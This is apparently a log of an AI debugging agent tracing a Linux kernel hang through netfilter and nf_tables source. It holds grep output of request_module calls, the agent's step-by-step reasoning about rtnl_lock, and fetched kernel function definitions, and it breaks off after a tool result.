net/netfilter/nf_conntrack_helper.c-86- rcu_read_lock();
--
net/netfilter/nf_conntrack_helper.c=129=nf_nat_helper_try_module_get(const char *name, u16 l3num, u8 protonum)
--
net/netfilter/nf_conntrack_helper.c-146- rcu_read_unlock();
net/netfilter/nf_conntrack_helper.c:147: request_module("%s", mod_name);
net/netfilter/nf_conntrack_helper.c-148-
--
net/netfilter/nf_conntrack_netlink.c=1875=ctnetlink_parse_nat_setup(struct nf_conn *ct,
--
net/netfilter/nf_conntrack_netlink.c-1887- nfnl_unlock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c:1888: if (request_module("nf-nat") < 0) {
net/netfilter/nf_conntrack_netlink.c-1889- nfnl_lock(NFNL_SUBSYS_CTNETLINK);
--
net/netfilter/nf_conntrack_netlink.c-1906- nfnl_unlock(NFNL_SUBSYS_CTNETLINK);
net/netfilter/nf_conntrack_netlink.c:1907: if (request_module("nf-nat-%u", nf_ct_l3num(ct)) < 0) {
net/netfilter/nf_conntrack_netlink.c-1908- nfnl_lock(NFNL_SUBSYS_CTNETLINK);
--
net/netfilter/nf_conntrack_netlink.c=2258=ctnetlink_create_conntrack(struct net *net,
--
net/netfilter/nf_conntrack_netlink.c-2291-#ifdef CONFIG_MODULES
net/netfilter/nf_conntrack_netlink.c:2292: if (request_module("nfct-helper-%s", helpname) < 0) {
net/netfilter/nf_conntrack_netlink.c-2293- err = -EOPNOTSUPP;
--
net/netfilter/nf_conntrack_netlink.c=3588=ctnetlink_create_expect(struct net *net,
--
net/netfilter/nf_conntrack_netlink.c-3628-#ifdef CONFIG_MODULES
net/netfilter/nf_conntrack_netlink.c:3629: if (request_module("nfct-helper-%s", helpname) < 0) {
net/netfilter/nf_conntrack_netlink.c-3630- err = -EOPNOTSUPP;
--
net/netfilter/nf_conntrack_proto.c=435=static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
--
net/netfilter/nf_conntrack_proto.c-486- mutex_unlock(&nf_ct_proto_mutex);
net/netfilter/nf_conntrack_proto.c:487: request_module("nf_conntrack_bridge");
net/netfilter/nf_conntrack_proto.c-488- retry = false;
--
net/netfilter/nf_conntrack_standalone.c=560=nf_conntrack_log_invalid_sysctl(const struct ctl_table *table, int write,
--
net/netfilter/nf_conntrack_standalone.c-576- }
net/netfilter/nf_conntrack_standalone.c:577: request_module("%s", "nf_log_syslog");
net/netfilter/nf_conntrack_standalone.c-578-
--
net/netfilter/nf_tables_api.c=1058=struct nft_module_request {
--
net/netfilter/nf_tables_api.c-1064-#ifdef CONFIG_MODULES
net/netfilter/nf_tables_api.c:1065:__printf(2, 3) int nft_request_module(struct net *net, const char *fmt,
net/netfilter/nf_tables_api.c-1066- ...)
--
net/netfilter/nf_tables_api.c-1100-}
net/netfilter/nf_tables_api.c:1101:EXPORT_SYMBOL_GPL(nft_request_module);
net/netfilter/nf_tables_api.c-1102-#endif
--
net/netfilter/nf_tables_api.c=1113=nf_tables_chain_type_lookup(struct net *net, const struct nlattr *nla,
--
net/netfilter/nf_tables_api.c-1124- if (autoload) {
net/netfilter/nf_tables_api.c:1125: if (nft_request_module(net, "nft-chain-%u-%.*s", family,
net/netfilter/nf_tables_api.c-1126- nla_len(nla),
--
net/netfilter/nf_tables_api.c=3288=static const struct nft_expr_type *__nft_expr_type_get(u8 family,
--
net/netfilter/nf_tables_api.c-3304-#ifdef CONFIG_MODULES
net/netfilter/nf_tables_api.c:3305:static int nft_expr_type_request_module(struct net *net, u8 family,
net/netfilter/nf_tables_api.c-3306- struct nlattr *nla)
net/netfilter/nf_tables_api.c-3307-{
net/netfilter/nf_tables_api.c:3308: if (nft_request_module(net, "nft-expr-%u-%.*s", family,
net/netfilter/nf_tables_api.c-3309- nla_len(nla), (char *)nla_data(nla)) == -EAGAIN)
--
net/netfilter/nf_tables_api.c=3316=static const struct nft_expr_type *nft_expr_type_get(struct net *net,
--
net/netfilter/nf_tables_api.c-3335- if (type == NULL) {
net/netfilter/nf_tables_api.c:3336: if (nft_expr_type_request_module(net, family, nla) == -EAGAIN)
net/netfilter/nf_tables_api.c-3337- return ERR_PTR(-EAGAIN);
net/netfilter/nf_tables_api.c-3338-
net/netfilter/nf_tables_api.c:3339: if (nft_request_module(net, "nft-expr-%.*s",
net/netfilter/nf_tables_api.c-3340- nla_len(nla),
--
net/netfilter/nf_tables_api.c=3399=static int nf_tables_expr_parse(const struct nft_ctx *ctx,
--
net/netfilter/nf_tables_api.c-3432- if (err == -EAGAIN)
net/netfilter/nf_tables_api.c:3433: if (nft_expr_type_request_module(ctx->net,
net/netfilter/nf_tables_api.c-3434- ctx->family,
--
net/netfilter/nf_tables_api.c=8177=nft_obj_type_get(struct net *net, u32 objtype, u8 family)
--
net/netfilter/nf_tables_api.c-8191- if (type == NULL) {
net/netfilter/nf_tables_api.c:8192: if (nft_request_module(net, "nft-obj-%u", objtype) == -EAGAIN)
net/netfilter/nf_tables_api.c-8193- return ERR_PTR(-EAGAIN);
--
net/netfilter/nf_tables_api.c=8938=nft_flowtable_type_get(struct net *net, u8 family)
--
net/netfilter/nf_tables_api.c-8952- if (type == NULL) {
net/netfilter/nf_tables_api.c:8953: if (nft_request_module(net, "nf-flowtable-%u", family) == -EAGAIN)
net/netfilter/nf_tables_api.c-8954- return ERR_PTR(-EAGAIN);
--
net/netfilter/nf_tables_api.c=11173=static void nf_tables_module_autoload(struct net *net)
--
net/netfilter/nf_tables_api.c-11181- list_for_each_entry_safe(req, next, &module_list, list) {
net/netfilter/nf_tables_api.c:11182: request_module("%s", req->module);
net/netfilter/nf_tables_api.c-11183- req->done = true;
--
net/netfilter/nfnetlink.c=216=static int nfnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
--
net/netfilter/nfnetlink.c-235- rcu_read_unlock();
net/netfilter/nfnetlink.c:236: request_module("nfnetlink-subsys-%d", NFNL_SUBSYS_ID(type));
net/netfilter/nfnetlink.c-237- rcu_read_lock();
--
net/netfilter/nfnetlink.c=371=static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
--
net/netfilter/nfnetlink.c-396- nfnl_unlock(subsys_id);
net/netfilter/nfnetlink.c:397: request_module("nfnetlink-subsys-%d", subsys_id);
net/netfilter/nfnetlink.c-398- nfnl_lock(subsys_id);
--
net/netfilter/nfnetlink.c=708=static int nfnetlink_bind(struct net *net, int group)
--
net/netfilter/nfnetlink.c-721- if (!ss)
net/netfilter/nfnetlink.c:722: request_module_nowait("nfnetlink-subsys-%d", type);
net/netfilter/nfnetlink.c-723-
--
net/netfilter/nfnetlink_log.c=882=static int nfulnl_recv_config(struct sk_buff *skb, const struct nfnl_info *info,
--
net/netfilter/nfnetlink_log.c-921- nfnl_unlock(NFNL_SUBSYS_ULOG);
net/netfilter/nfnetlink_log.c:922: request_module("ip_conntrack_netlink");
net/netfilter/nfnetlink_log.c-923- nfnl_lock(NFNL_SUBSYS_ULOG);
--
net/netfilter/nfnetlink_queue.c=1493=static int nfqnl_recv_config(struct sk_buff *skb, const struct nfnl_info *info,
--
net/netfilter/nfnetlink_queue.c-1537- nfnl_unlock(NFNL_SUBSYS_QUEUE);
net/netfilter/nfnetlink_queue.c:1538: request_module("ip_conntrack_netlink");
net/netfilter/nfnetlink_queue.c-1539- nfnl_lock(NFNL_SUBSYS_QUEUE);
--
net/netfilter/nft_compat.c=243=nft_target_init(const struct nft_ctx *ctx, const struct nft_expr *expr,
--
net/netfilter/nft_compat.c-277- if (modname &&
net/netfilter/nft_compat.c:278: nft_request_module(ctx->net, "%s", modname) == -EAGAIN)
net/netfilter/nft_compat.c-279- return -EAGAIN;
--
net/netfilter/nft_compat.c=679=static int nfnl_compat_get_rcu(struct sk_buff *skb,
--
net/netfilter/nft_compat.c-719- rcu_read_unlock();
net/netfilter/nft_compat.c:720: try_then_request_module(xt_find_revision(family, name, rev, target, &ret),
net/netfilter/nft_compat.c-721- fmt, name);
--
net/netfilter/nft_log.c=131=static int nft_log_modprobe(struct net *net, enum nf_log_type t)
--
net/netfilter/nft_log.c-134- case NF_LOG_TYPE_LOG:
net/netfilter/nft_log.c:135: return nft_request_module(net, "%s", "nf_log_syslog");
net/netfilter/nft_log.c-136- case NF_LOG_TYPE_ULOG:
net/netfilter/nft_log.c:137: return nft_request_module(net, "%s", "nfnetlink_log");
net/netfilter/nft_log.c-138- case NF_LOG_TYPE_MAX:
--
net/netfilter/x_tables.c=228=xt_request_find_match(uint8_t nfproto, const char *name, uint8_t revision)
--
net/netfilter/x_tables.c-236- if (IS_ERR(match)) {
net/netfilter/x_tables.c:237: request_module("%st_%s", xt_prefix[nfproto], name);
net/netfilter/x_tables.c-238- match = xt_find_match(nfproto, name, revision);
--
net/netfilter/x_tables.c=275=struct xt_target *xt_request_find_target(u8 af, const char *name, u8 revision)
--
net/netfilter/x_tables.c-283- if (IS_ERR(target)) {
net/netfilter/x_tables.c:284: request_module("%st_%s", xt_prefix[af], name);
net/netfilter/x_tables.c-285- target = xt_find_target(af, name, revision);
--
net/netfilter/x_tables.c=1282=struct xt_table *xt_request_find_table_lock(struct net *net, u_int8_t af,
--
net/netfilter/x_tables.c-1288- if (IS_ERR(t)) {
net/netfilter/x_tables.c:1289: int err = request_module("%stable_%s", xt_prefix[af], name);
net/netfilter/x_tables.c-1290- if (err < 0)
--
net/netfilter/xt_LOG.c=44=static int log_tg_check(const struct xt_tgchk_param *par)
--
net/netfilter/xt_LOG.c-63- if (ret != 0 && !par->nft_compat) {
net/netfilter/xt_LOG.c:64: request_module("%s", "nf_log_syslog");
net/netfilter/xt_LOG.c-65-
--
net/netfilter/xt_NFLOG.c=42=static int nflog_tg_check(const struct xt_tgchk_param *par)
--
net/netfilter/xt_NFLOG.c-53- if (ret != 0 && !par->nft_compat) {
net/netfilter/xt_NFLOG.c:54: request_module("%s", "nfnetlink_log");
net/netfilter/xt_NFLOG.c-55-
--
net/netfilter/xt_physdev.c=94=static int physdev_mt_check(const struct xt_mtchk_param *par)
--
net/netfilter/xt_physdev.c-111- brnf_probed = true;
net/netfilter/xt_physdev.c:112: request_module("br_netfilter");
net/netfilter/xt_physdev.c-113- }
]
|
| 118/2 |
2026/05/31 10:29 |
llm |
expert |
0m
Model:
Tokens:
input: 133563
output: 44
thoughts: 2203
Thoughts: **Deep Dive into the NF-Table Mystery**
Okay, so I'm trying to figure out why this `crda_timeout_work` is hanging, and the thread is clearly stuck on the `rtnl_lock`, which is a network lock. Let's trace this back through the netfilter code, this is my current thought process.
First, it looked like `nfnetlink_rcv_batch` calls `request_module` with `nfnl_lock` dropped, which is fine in itself, but I needed to eliminate the other possibilities. But then `nf_tables_module_autoload` also calls `request_module` *without* `commit_mutex` held. So, that's not the root cause. Then I dove into `nf_ct_netns_do_get` which calls `request_module` but it's only for the bridge conntrack module, which this specific reproducer doesn't seem to be touching and as expected, that path does not call `request_module` in our case.
The reproducer's Netfilter family is `NFPROTO_INET` anyway.
So, I started wondering if `nf_tables_newrule` might call `request_module`. Digging deeper, it turns out that `nf_tables_expr_parse` calls `nft_expr_type_get` which uses `nft_request_module`, that returns `-EAGAIN`. Then `nf_tables_abort` eventually calls `nf_tables_module_autoload`, which calls `request_module` with the correct locking. So that path is okay too. So `request_module` doesn't seem to be the source of the lock contention.
I then started thinking `nft_netdev_unregister_hooks`, which could be the source of an infinite loop or other lock contention. This is called from `nf_tables_commit`, and it acquires `nf_hook_mutex`. Is it possible that `nf_hook_mutex` is involved with `rtnl_lock`? But I quickly realized that `nf_ct_netns_do_get`, which calls `nf_register_net_hooks` which takes the `nf_hook_mutex`, also takes `nf_ct_proto_mutex` and there's no reverse dependency.
Then I considered the possibility of `-EAGAIN` during commit. But I found that `-EAGAIN` can occur if `nft_synproxy_validate` returns less than 0, if `nft_chain_validate_hooks` returns less than zero, and if the hook is not in the allowed hooks. Wait a minute! The reproducer sets the hooknum, let's double check. Ah, the hooknum is set to `NF_INET_PRE_ROUTING` (0), and that `synproxy` rule needs to have the hook `NF_INET_LOCAL_IN` (1) or `NF_INET_FORWARD` (3). Okay, that's not a problem.
Then I checked the code again to be sure that `nft_request_module` would return a consistent response.
Then I checked if a module load failure could be the issue. It turns out that a failed module load followed by a retry returns the error `ENOENT` which is then correctly handled by `nfnetlink_rcv_batch`, so that's not it either.
Let's think, is there anywhere else `nf_tables_commit` might return `-EAGAIN`? From `nft_flow_rule_offload_commit`, but it returns zero for our case, so, no.
So, is it possible that `synproxy` has a bug that causes an infinite loop in the packet path? The reproducer doesn't even send packets, so that's not it.
Okay, let's go back to basics, does this reproducer hold `rtnl_lock`? It's using `__NR_sendmsg` which uses `netlink_sendmsg`, then `netlink_unicast` and finally, `nfnetlink_rcv`. This looks like it can be the source, because it calls `nfnetlink_rcv_batch`.
Does `nfnetlink_rcv_batch` itself hold `rtnl_lock`? NO. Do any of the `nf_tables_*` functions hold `rtnl_lock`? No.
So, I think I need to look closer at what's happening at the `rtnl_lock` level. I think it is in a different thread, so I'm not stuck on the obvious.
|
| 119/2 |
2026/05/31 10:30 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_netdev_unregister_hooks]
Results: map[SourceCode: 359: static void nft_netdev_unregister_hooks(struct net *net,
360: struct list_head *hook_list,
361: bool release_netdev)
362: {
363: struct nft_hook *hook, *next;
364: struct nf_hook_ops *ops;
365:
366: list_for_each_entry_safe(hook, next, hook_list, list) {
367: list_for_each_entry(ops, &hook->ops_list, list)
368: nf_unregister_net_hook(net, ops);
369: if (release_netdev) {
370: list_del(&hook->list);
371: nft_netdev_hook_free_rcu(hook);
372: }
373: }
374: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 120/2 |
2026/05/31 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 137081
output: 43
thoughts: 300
Thoughts: **Analyzing Potential Concurrency Issues**
Okay, so I'm digging into this code and the first thing I noticed is there's no obvious `rtnl_lock` being held directly here, which is a good starting point. However, my gut tells me it can be called somewhere else in the code. I need to be more methodical here.
Hmm, what if the `nf_tables_commit` function calls `nf_tables_commit_chain_prepare`, and *that* in turn calls `nft_netdev_register_hooks`? I already checked `nft_netdev_register_hooks`, and it *doesn't* take the `rtnl_lock`. That's a point in the right direction.
Alright, let's explore another possibility. What if `nf_tables_addchain` somehow calls `nf_tables_register_hook`, and then *that* triggers `basechain->type->ops_register`? For `NFPROTO_INET`, that `ops_register` is NULL. However, what if the reproducer creates a chain with `NFPROTO_NETDEV`? Okay, I've got to check what the reproducer is doing. Ah, the reproducer uses `NFPROTO_INET` (1). Right. I need to keep that in mind. `NFPROTO_INET` is 1, a constant I need to remember.
Let's quickly double-check that `nf_tables_register_hook` call. Let me look at the code snippet again:
```c
if (basechain->type->ops_register)
return basechain->type->ops_register(net, ops);
```
For the `NFPROTO_INET` case, specifically looking at `nft_chain_filter_inet`, it has no `ops_register`. So, it goes to `nf_register_net_hook`.
Okay, next I have to consider another path. What if `nf_tables_commit` calls `nf_tables_table_notify` and *that* function is the one taking the `rtnl_lock`? I should probably check `nf_tables_table_notify` to be sure. Time to go there.
|
| 121/2 |
2026/05/31 10:30 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_table_notify]
Results: map[SourceCode:1207: static void nf_tables_table_notify(const struct nft_ctx *ctx, int event)
1208: {
1209: struct nftables_pernet *nft_net;
1210: struct sk_buff *skb;
1211: u16 flags = 0;
1212: int err;
1213:
1214: if (!ctx->report &&
1215: !nfnetlink_has_listeners(ctx->net, NFNLGRP_NFTABLES))
1216: return;
1217:
1218: skb = nlmsg_new(NLMSG_GOODSIZE, GFP_KERNEL);
1219: if (skb == NULL)
1220: goto err;
1221:
1222: if (ctx->flags & (NLM_F_CREATE | NLM_F_EXCL))
1223: flags |= ctx->flags & (NLM_F_CREATE | NLM_F_EXCL);
1224:
1225: err = nf_tables_fill_table_info(skb, ctx->net, ctx->portid, ctx->seq,
1226: event, flags, ctx->family, ctx->table);
1227: if (err < 0) {
1228: kfree_skb(skb);
1229: goto err;
1230: }
1231:
1232: nft_net = nft_pernet(ctx->net);
1233: nft_notify_enqueue(skb, ctx->report, &nft_net->notify_list);
1234: return;
1235: err:
1236: nfnetlink_set_err(ctx->net, ctx->portid, NFNLGRP_NFTABLES, -ENOBUFS);
1237: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 122/2 |
2026/05/31 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 138434
output: 41
thoughts: 50
Thoughts: Okay, here's my take on those thoughts, framed as my own mental processing:
**Analyzing Potential Locking Issues in Netfilter Tables Commit**
Alright, so I'm looking at this code and, initially, I don't see any explicit use of the `rtnl_lock` within this particular function. That's good, but it doesn't necessarily mean we're in the clear. I've got to consider all the possibilities.
The real question is, does `nf_tables_commit` indirectly acquire the `rtnl_lock` via some nested function call? Specifically, I'm wondering if `nf_tables_commit` calls `nft_commit_notify`, and if *that* function might be the culprit. It's a common pattern to delegate locking to internal notification functions.
Therefore, let's take a closer look at `nft_commit_notify`. I need to verify what that function does, and whether it uses that lock. That's the key to understanding the thread safety implications here.
|
| 123/2 |
2026/05/31 10:30 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_commit_notify]
Results: map[SourceCode:10718: static void nft_commit_notify(struct net *net, u32 portid)
10719: {
10720: struct nftables_pernet *nft_net = nft_pernet(net);
10721: struct sk_buff *batch_skb = NULL, *nskb, *skb;
10722: unsigned char *data;
10723: int len;
10724:
10725: list_for_each_entry_safe(skb, nskb, &nft_net->notify_list, list) {
10726: if (!batch_skb) {
10727: new_batch:
10728: batch_skb = skb;
10729: len = NLMSG_GOODSIZE - skb->len;
10730: list_del(&skb->list);
10731: continue;
10732: }
10733: len -= skb->len;
10734: if (len > 0 && NFT_CB(skb).report == NFT_CB(batch_skb).report) {
10735: data = skb_put(batch_skb, skb->len);
10736: memcpy(data, skb->data, skb->len);
10737: list_del(&skb->list);
10738: kfree_skb(skb);
10739: continue;
10740: }
10741: nfnetlink_send(batch_skb, net, portid, NFNLGRP_NFTABLES,
10742: NFT_CB(batch_skb).report, GFP_KERNEL);
10743: goto new_batch;
10744: }
10745:
10746: if (batch_skb) {
10747: nfnetlink_send(batch_skb, net, portid, NFNLGRP_NFTABLES,
10748: NFT_CB(batch_skb).report, GFP_KERNEL);
10749: }
10750:
10751: WARN_ON_ONCE(!list_empty(&nft_net->notify_list));
10752: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 124/2 |
2026/05/31 10:30 |
llm |
expert |
1m
Model:
Tokens:
input: 139401
output: 43
thoughts: 54
Thoughts: Okay, here's my take on those thoughts, framed as my own reasoning:
**Checking for Potential Lock Contention in Netfilter Tables**
Alright, so I'm looking at this Netfilter code, and the first thing I notice is that there's no explicit `rtnl_lock` usage *here*. That's good, less direct locking to deal with. But wait a minute... I need to be careful. Just because it's not *directly* used doesn't mean it's not *indirectly* acquired somewhere down the line. I'm thinking about the potential for lock ordering issues, so I have to be thorough.
The crucial point of concern is `nf_tables_commit`. Could it potentially trigger a call to `nf_tables_gen_notify`, and if so, does *that* function, in turn, hold `rtnl_lock`? That's the real question. That's a classic spot for subtle race conditions and deadlocks to hide. It's time to dig into the implementation of `nf_tables_gen_notify` to be certain. Let's see what's actually going on in there.
|
| 125/2 |
2026/05/31 10:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_gen_notify]
Results: map[SourceCode:9834: static void nf_tables_gen_notify(struct net *net, struct sk_buff *skb,
9835: int event)
9836: {
9837: struct nlmsghdr *nlh = nlmsg_hdr(skb);
9838: struct sk_buff *skb2;
9839: int err;
9840:
9841: if (!nlmsg_report(nlh) &&
9842: !nfnetlink_has_listeners(net, NFNLGRP_NFTABLES))
9843: return;
9844:
9845: skb2 = nlmsg_new(NLMSG_GOODSIZE, GFP_KERNEL);
9846: if (skb2 == NULL)
9847: goto err;
9848:
9849: err = nf_tables_fill_gen_info(skb2, net, NETLINK_CB(skb).portid,
9850: nlh->nlmsg_seq);
9851: if (err < 0) {
9852: kfree_skb(skb2);
9853: goto err;
9854: }
9855:
9856: nfnetlink_send(skb2, net, NETLINK_CB(skb).portid, NFNLGRP_NFTABLES,
9857: nlmsg_report(nlh), GFP_KERNEL);
9858: return;
9859: err:
9860: nfnetlink_set_err(net, NETLINK_CB(skb).portid, NFNLGRP_NFTABLES,
9861: -ENOBUFS);
9862: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 126/2 |
2026/05/31 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 140247
output: 43
thoughts: 54
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm an expert in this area:
**Digging into nf_tables and rtnl_lock Implications**
Hmm, no `rtnl_lock` immediately apparent in this context. Okay, that seems straightforward... But hold on. My experience tells me that these things can be subtly nested and interconnected. Could `nf_tables_commit` indirectly call something else that *does* take the `rtnl_lock`? Specifically, I'm thinking about the potential for `nf_tables_commit_release` being called by `nf_tables_commit`, and its use of the `rtnl_lock`. That's where I need to look closer. Let me quickly examine the implementation of `nf_tables_commit_release` to confirm or deny that.
|
| 127/2 |
2026/05/31 10:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit_release]
Results: map[SourceCode:10684: static void nf_tables_commit_release(struct net *net)
10685: {
10686: struct nftables_pernet *nft_net = nft_pernet(net);
10687: struct nft_trans *trans;
10688:
10689: /* all side effects have to be made visible.
10690: * For example, if a chain named 'foo' has been deleted, a
10691: * new transaction must not find it anymore.
10692: *
10693: * Memory reclaim happens asynchronously from work queue
10694: * to prevent expensive synchronize_rcu() in commit phase.
10695: */
10696: if (list_empty(&nft_net->commit_list)) {
10697: nf_tables_module_autoload_cleanup(net);
10698: mutex_unlock(&nft_net->commit_mutex);
10699: return;
10700: }
10701:
10702: trans = list_last_entry(&nft_net->commit_list,
10703: struct nft_trans, list);
10704: get_net(trans->net);
10705: WARN_ON_ONCE(trans->put_net);
10706:
10707: trans->put_net = true;
10708: spin_lock(&nf_tables_destroy_list_lock);
10709: list_splice_tail_init(&nft_net->commit_list, &nft_net->destroy_list);
10710: spin_unlock(&nf_tables_destroy_list_lock);
10711:
10712: nf_tables_module_autoload_cleanup(net);
10713: schedule_work(&nft_net->destroy_work);
10714:
10715: mutex_unlock(&nft_net->commit_mutex);
10716: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 128/2 |
2026/05/31 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 141101
output: 43
thoughts: 155
Thoughts: **Investigating Potential RTNL Lock Acquisition in Netfilter Tables Commit Process**
Okay, so I'm trying to figure out if there's any `rtnl_lock` contention lurking within the `nf_tables` commit process. Right off the bat, I don't see any direct acquisition of the lock here. However, I need to dig deeper, this is complex code.
Let me think... what if `nf_tables_commit` calls `nft_flow_rule_offload_commit`? I vaguely recall that function being sensitive to locks. And if it acquires `rtnl_lock`, we might have a problem. Hmm, but that function has explicit `NFPROTO_INET` checks, and that's what we are using here, so it should be fine.
Okay, back to the drawing board. Let's see... perhaps `nf_tables_commit` calls `nf_tables_commit_chain_prepare`? Does *that* function acquire the lock? Ah, no, after checking, that's not it either. It calls `nf_tables_chain_alloc_rules`, but that does not seem to take the `rtnl_lock`.
Alright, one final possibility... what about `nf_tables_commit` calling `nf_tables_commit_chain`? That seems like the last obvious place. I better check `nf_tables_commit_chain` now to verify.
|
| 129/2 |
2026/05/31 10:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit_chain]
Results: map[SourceCode:10371: static void nf_tables_commit_chain(struct net *net, struct nft_chain *chain)
10372: {
10373: struct nft_rule_blob *g0, *g1;
10374: bool next_genbit;
10375:
10376: next_genbit = nft_gencursor_next(net);
10377:
10378: g0 = rcu_dereference_protected(chain->blob_gen_0,
10379: lockdep_commit_lock_is_held(net));
10380: g1 = rcu_dereference_protected(chain->blob_gen_1,
10381: lockdep_commit_lock_is_held(net));
10382:
10383: /* No changes to this chain? */
10384: if (chain->blob_next == NULL) {
10385: /* chain had no change in last or next generation */
10386: if (g0 == g1)
10387: return;
10388: /*
10389: * chain had no change in this generation; make sure next
10390: * one uses same rules as current generation.
10391: */
10392: if (next_genbit) {
10393: rcu_assign_pointer(chain->blob_gen_1, g0);
10394: nf_tables_commit_chain_free_rules_old(g1);
10395: } else {
10396: rcu_assign_pointer(chain->blob_gen_0, g1);
10397: nf_tables_commit_chain_free_rules_old(g0);
10398: }
10399:
10400: return;
10401: }
10402:
10403: if (next_genbit)
10404: rcu_assign_pointer(chain->blob_gen_1, chain->blob_next);
10405: else
10406: rcu_assign_pointer(chain->blob_gen_0, chain->blob_next);
10407:
10408: chain->blob_next = NULL;
10409:
10410: if (g0 == g1)
10411: return;
10412:
10413: if (next_genbit)
10414: nf_tables_commit_chain_free_rules_old(g1);
10415: else
10416: nf_tables_commit_chain_free_rules_old(g0);
10417: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 130/2 |
2026/05/31 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 142394
output: 43
thoughts: 93
Thoughts: **Analyzing Potential Race Conditions in Netfilter Tables Commit**
Okay, so I'm looking through this code and immediately I see no direct calls to `rtnl_lock` here, which is good. That's what I was expecting, given what I know about this module.
But wait, I need to be thorough. I need to think about *indirect* calls. What if a function called by `nf_tables_commit` did take the lock? Okay, let's think... Does `nft_netdev_unregister_hooks` grab the `rtnl_lock`? I don't *think* so, but let's just make absolutely sure, since that function is called in the same context. Oh, right, we already checked that. Good.
Alright, but there's another potential issue. What if, instead, `nf_tables_commit` calls `nft_chain_commit_update`, and *that* function somehow grabs the `rtnl_lock`? Now *that* would be a problem. Time to dig into `nft_chain_commit_update` and see what it actually does. That's the next point of inspection.
|
| 131/2 |
2026/05/31 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_chain_commit_update]
Results: map[SourceCode:10124: static void nft_chain_commit_update(struct nft_trans_chain *trans)
10125: {
10126: struct nft_table *table = trans->nft_trans_binding.nft_trans.table;
10127: struct nft_base_chain *basechain;
10128:
10129: if (trans->name) {
10130: rhltable_remove(&table->chains_ht,
10131: &trans->chain->rhlhead,
10132: nft_chain_ht_params);
10133: swap(trans->chain->name, trans->name);
10134: rhltable_insert_key(&table->chains_ht,
10135: trans->chain->name,
10136: &trans->chain->rhlhead,
10137: nft_chain_ht_params);
10138: }
10139:
10140: if (!nft_is_base_chain(trans->chain))
10141: return;
10142:
10143: nft_chain_stats_replace(trans);
10144:
10145: basechain = nft_base_chain(trans->chain);
10146:
10147: switch (trans->policy) {
10148: case NF_DROP:
10149: case NF_ACCEPT:
10150: basechain->policy = trans->policy;
10151: break;
10152: }
10153: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 132/2 |
2026/05/31 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 143263
output: 43
thoughts: 125
Thoughts: **Analyzing Potential RTNL_LOCK Conflicts**
Okay, so I'm looking at this code and immediately, I don't see any direct calls to `rtnl_lock` here, which is good. But wait, I need to be thorough. I'm thinking, could `nf_tables_commit` be a problem? Does it call `nft_chain_commit_drop_policy` which, potentially, could acquire `rtnl_lock`? No, that doesn't seem likely based on my understanding of that function's scope.
Alright, let's keep going. Perhaps `nf_tables_commit` calls `nft_netdev_unregister_hooks`? Could *that* be where the lock issue lies? Nope, that seems unlikely as well, at least immediately. Okay, one more possibility. What about `nf_tables_commit` calling `nf_tables_unregister_hook`? That's a good place to look, I need to check `nf_tables_unregister_hook` now. Let's see what that function does.
|
| 133/2 |
2026/05/31 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_unregister_hook]
Results: map[SourceCode: 423: static void nf_tables_unregister_hook(struct net *net,
424: const struct nft_table *table,
425: struct nft_chain *chain)
426: {
427: return __nf_tables_unregister_hook(net, table, chain, false);
428: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 134/2 |
2026/05/31 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 143789
output: 44
thoughts: 75
Thoughts: Okay, let's break this down.
**Potential Race Condition in Netfilter Flow Table Unregistration**
Right, so `__nf_tables_unregister_hook` eventually gets to `nf_unregister_net_hook`. No `rtnl_lock` held during that call, which is immediately flagged as a potential vulnerability. But wait, I need to consider the broader context, the "who calls who" and the overall workflow. My concern now is about a possible race condition. I immediately suspect that something called *later* in the unregistration process could hold that lock. I know from experience that often the commit stages have locking.
My hunch is that `nf_tables_commit` might call `nft_flow_rule_destroy`, and *that* function could be where the lock contention arises. I need to confirm this quickly. I need to verify whether `nft_flow_rule_destroy` actually acquires the `rtnl_lock`. That's the key piece of information I need right now. I'll check its definition to see what it does. I need to be sure before I start to look further.
|
| 135/2 |
2026/05/31 10:32 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_offload.c Name:nft_flow_rule_destroy]
Results: map[SourceCode: 146: void nft_flow_rule_destroy(struct nft_flow_rule *flow)
147: {
148: struct flow_action_entry *entry;
149: int i;
150:
151: flow_action_for_each(i, entry, &flow->rule->action) {
152: switch (entry->id) {
153: case FLOW_ACTION_REDIRECT:
154: case FLOW_ACTION_MIRRED:
155: dev_put(entry->dev);
156: break;
157: default:
158: break;
159: }
160: }
161: kfree(flow->rule);
162: kfree(flow);
163: }
SourceFile:net/netfilter/nf_tables_offload.c]
|
| 136/2 |
2026/05/31 10:32 |
llm |
expert |
0m
Model:
Tokens:
input: 144408
output: 41
